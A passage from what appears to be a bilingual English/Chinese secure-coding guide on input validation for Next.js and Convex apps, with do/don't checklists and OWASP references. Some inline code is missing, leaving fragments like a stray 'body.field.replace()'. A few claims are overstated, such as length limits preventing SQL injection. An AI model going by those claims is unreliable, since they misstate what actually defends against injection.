- 前端验证可以被绕过 - 攻击者可以直接调用Convex mutation
- Convex函数就是你的API - 像对待API路由一样对其做完整验证
- 仅类型安全是不够的 - TypeScript类型无法防范XSS,也不会验证长度
- 深度防御 - 即使Next.js API已经做了验证,Convex也应该再次验证
What Input Validation Prevents
输入验证可以防范的风险
✅ Cross-site scripting (XSS) - Main protection
✅ SQL/NoSQL injection - Length limits + sanitization
✅ Command injection - Removes dangerous characters
✅ Template injection - Sanitizes template syntax
✅ Path traversal - Validates paths, removes ../
✅ Buffer overflow - Enforces length limits
✅ Type confusion - Enforces correct data types
✅ Business logic errors - Validates ranges, formats
✅ 跨站脚本(XSS) - 核心防护能力
✅ SQL/NoSQL注入 - 长度限制 + 内容清理
✅ 命令注入 - 移除危险字符
✅ 模板注入 - 清理模板语法
✅ 路径遍历 - 验证路径,移除../
✅ 缓冲区溢出 - 强制长度限制
✅ 类型混淆 - 强制正确的数据类型
✅ 业务逻辑错误 - 验证范围、格式
Common Mistakes to Avoid
需要避免的常见错误
❌ DON'T skip validation "because it's an internal API"
❌ DON'T rely on client-side validation only
❌ DON'T use directly without validation
❌ DON'T manually sanitize with - use Zod
❌ DON'T assume authentication = safe input
❌ DON'T forget to validate in Convex mutations
body.field.replace()✅ DO validate ALL user input, even from authenticated users
✅ DO use pre-built schemas from lib/validation.ts
✅ DO return detailed validation errors (helps UX)
✅ DO combine validation with rate limiting and CSRF
✅ DO validate in both API routes AND Convex mutations
❌ 不要因为是内部API就跳过验证
❌ 不要仅依赖客户端验证
❌ 不要未经验证直接使用
❌ 不要手动用做清理 - 请使用Zod
❌ 不要认为通过身份验证的输入就是安全的
❌ 不要忘记在Convex mutation中做验证
body.field.replace()✅ 一定要验证所有用户输入,即便是已认证用户的输入
✅ 一定要使用lib/validation.ts中的预构建schema
✅ 一定要返回详细的验证错误(有助于提升UX)
✅ 一定要将验证和限流、CSRF防护结合使用
✅ 一定要在API路由和Convex mutation中都做验证
References
参考资料
- OWASP Input Validation Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html
- OWASP XSS Prevention: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- Zod Documentation: https://zod.dev/
- OWASP Top 10 2021 - A03 Injection: https://owasp.org/Top10/A03_2021-Injection/
- OWASP输入验证速查表: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html
- OWASP XSS防护指南: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- Zod官方文档: https://zod.dev/
- OWASP Top 10 2021 - A03 注入: https://owasp.org/Top10/A03_2021-Injection/
Next Steps
后续步骤
- For CSRF protection: Use skill
csrf-protection - For rate limiting: Use skill
rate-limiting - For secure error handling: Use skill
error-handling - For testing validation: Use skill
security-testing
- CSRF防护: 使用skill
csrf-protection - 限流: 使用skill
rate-limiting - 安全错误处理: 使用skill
error-handling - 验证测试: 使用skill
security-testing